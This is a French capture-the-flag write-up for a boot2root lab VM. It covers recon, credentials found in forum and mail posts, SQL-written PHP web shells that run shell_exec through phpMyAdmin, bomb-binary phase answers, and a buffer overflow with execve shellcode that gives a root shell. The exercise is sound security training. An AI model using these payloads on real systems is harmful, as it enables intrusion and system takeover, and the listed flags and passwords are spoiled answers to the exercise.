Skip to content

Latest commit

 

History

History
170 lines (131 loc) · 7.02 KB

writeup1.md

File metadata and controls

170 lines (131 loc) · 7.02 KB

Writeup1

Prenons pour exemple que l'ip de la machine est 10.11.200.204.

Get open port

Pour récupérer l'ip de la machine il faut lancer le script ./ip_machine [VM_name].
Grâce à nmap: nmap $(./ip_machine [VM_name]) nous pouvons voir les ports ouverts:

PORT    STATE SERVICE
21/tcp  open  ftp
22/tcp  open  ssh
80/tcp  open  http
143/tcp open  imap
443/tcp open  https
993/tcp open  imaps

Installe DIRB and Get Info

Il faut installer toutes les dépendances avec notre script ./setup.
Puis nous pouvons faire.
dirb https://$(./ip_machine [VM_name]) ./small.txt -w.
Du coup nous pouvons voir les accès intéressant:

  • /forum
  • /webmail
  • /phpmyadmin

https://10.11.200.204/forum:

Dans le forum, nous avons un post qui demande de l'aide sur sa connexion ssh, avec un mot de passe visible (à la place de l'utilisateur).
L'auteur du message est : lmezard, et le mot de passe utilisé est : !q\]Ej?*5K5cy*AJ.
Grâce à ces informations, nous pouvons utiliser ces logins pour ce connecter sur le forum, et voir son mail qui est: [email protected]
https://10.11.200.204/webmail:
Grâce au mail, nous pouvons se connecter sur le webmail avec [email protected] et !q\]Ej?*5K5cy*AJ.
Nous pouvons voir un mail qui contient les identifiants BDD : root et Fg-'kKXBj87E:aJ$.

Exploit PHPMyAdmin

https://10.11.200.204/phpmyadmin:
Avec ces identifiants, nous pouvons nous connecter sur PHPMYADMIN.
Après plusieurs recherche sur les différentes failles de sécurité de PHPMYADMIN nous avons pu trouver cet article: http://www.informit.com/articles/article.aspx?p=1407358&seqNum=2.
Apres plusieurs tests:
select "<?php $out = shell_exec('ls -la /'); echo '<pre>' . $out . '</pre>'; ?>" into outfile "/var/www/forum/templates_c/ls.php";.
On peut voir le résultat ici : https://10.11.200.204/forum/templates_c/ls.php.
select "<?php $out = shell_exec('ls -laR /home'); echo '<pre>' . $out . '</pre>'; ?>" into outfile "/var/www/forum/templates_c/home.php";.
On peut voir le résultat ici : https://10.11.200.204/forum/templates_c/home.php.
Nous avons pu voir un fichier password dans /home/LOOKATME, nous allons pouvoir voir son contenu.
select "<?php $out = shell_exec('cat /home/LOOKATME/password'); echo '<pre>' . $out . '</pre>'; ?>" into outfile "/var/www/forum/templates_c/password.php";.
On peut voir le résultat ici : https://10.11.200.204/forum/templates_c/password.php.
Ce qui donne comme résultat: lmezard:G!@M6f4Eatau{sF".

Connection FTP

Nous pouvons maintenant ce connecter en ftp avec ces identifiants.
ftp $(./ip_machine [VM_name]) et mettre les identifiants.
Nous pouvons voir 2 fichiers README et fun.

Crack fun :D

Nous allons pouvoir récupérer le fichier fun: get fun.
Lancer la commande tar xf fun.
Maintenant nous pouvons lancer la commande node crackFun ft_fun.

Connection to SSH

user : laurie mdp: 330b845f32185747e4f8ca15d40ca59796035c89ea809fb5d30f4da83ecf45a4

Install PEDA

scp -r ${HOME}/goinfre/peda laurie@$(./ip_machine [VM_name]):/home/laurie echo "source ~/peda/peda.py" >> ~/.gdbinit

Exploit Bomb

open ~/goinfre/ghidra_9.1-BETA_DEV

STEP 1

On peut voir qu'il fait une comparaison entre l'entrée utilisateur et une chaine de caractères en dur. Phase 1
Public speaking is very easy.

STEP 2

On peut voir que 6 arguments sont attendus et que le premier argument est 1 puis l'argument est multiplié par son emplacement.
Le premier argument est à l'emplacement 2.
Phase 2
Reste à faire le calcul, ce qui donne:
1 2 6 24 120 720

STEP 3

On peut voir que la solution ressemble à %d %c %d soit: nombre, caractère, nombre.
Phase 3
En utilisant ghidra, nous pouvons voir, que le premier argument est situé entre 0 et 7.
que si le premier vaut 1 le char est b, et le dernier argument doit-être égal à 214. soit:
1 b 214
Phase 3

STEP 4

D'après cette fonction, on peut déterminer que param_1 doit valoir 9.
Phase 3
On peut trouver ce résultat grâce à la fonction présentée dans "ressources/writup1/phase_4.c".
Il est à noter que c'est la seule étape pour laquelle le nombre d'arguments n'est pas vérifié.
En entrant non pas 9, mais 9 austinpowers, une phase secrete apparaitra après la phase 6.

STEP 5

La chaine attendue est une chaine de 6 caractères dont le premier est un 'o'.
Un ET logique est effectue sur chaque caractere pour obtenir l'index entre 0 et 15 d'un element d'une table de comparaison.
Ce qui permet d'obtenir un grand nombre de combinaisons.

opekmq opekma opekmQ opekmA opekm1 o`ekma

La bonne combinaison est la premiere possibilite en utilisant une base alphanumerique commencant par les minuscules. soit:

opekmq

STEP 6

6 chiffres sont attendus allant de 1 à 6 sans doublons. Le premiers chiffre est 4.
4 2 6 3 1 5

SECRET STEP

En ayant entré 9 austinpowers lors de la phase 4, une étape secrète apparait ici.
Un seul nombre est attendu ici, ce nombre doit être supérieur à 1000.
Il s'agit de 1001 (0b1001 == 9).
voilà voilà...

CONNECTION TO THOR

En concatenant les mots de passe précedent (sans espaces), nous obtenons le mot de passe:
Publicspeakingisveryeasy.126241207201b2149opekmq426315
Sur le forum, est dit d'inverser les lettres 'v' et 'w' qui sont les dernieres lettres de l'alphabet -2 et -3
Ce qui donne le mot de passe final:
Publicspeakingisveryeasy.126241207201b2149opekmq426135

CONNECTION TO ZAZ

Dans la home de thor se trouve un fichier "turtle".
Ce fichier peut être séparé en 5 parties selon les lignes vides.
Ces correspondent correspondent aux instructions d'un programme turtle reproduit dans resolve_turtle.py.
En éxécutant chaque série d'instructions, on obtient le mot de passe SLASH. Qui ne fonctionne pas.
En revanche le md5 de "SLASH" fonctionne: 646da671ca01bb5d84dbb5fb2238dc8e.

SESSION DE ZAZ

Dans la session de zaz se trouve un exécutable root exploit_me. Il suffit de faire une attaque par buffer overflow.
./exploit_me $(python -c 'print "\x90" * 80 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80" + "\x90\xf8\xff\xbf" * 10')

WE ARE ROOT

# id
uid=1005(zaz) gid=1005(zaz) euid=0(root) groups=0(root),1005(zaz)

ROOT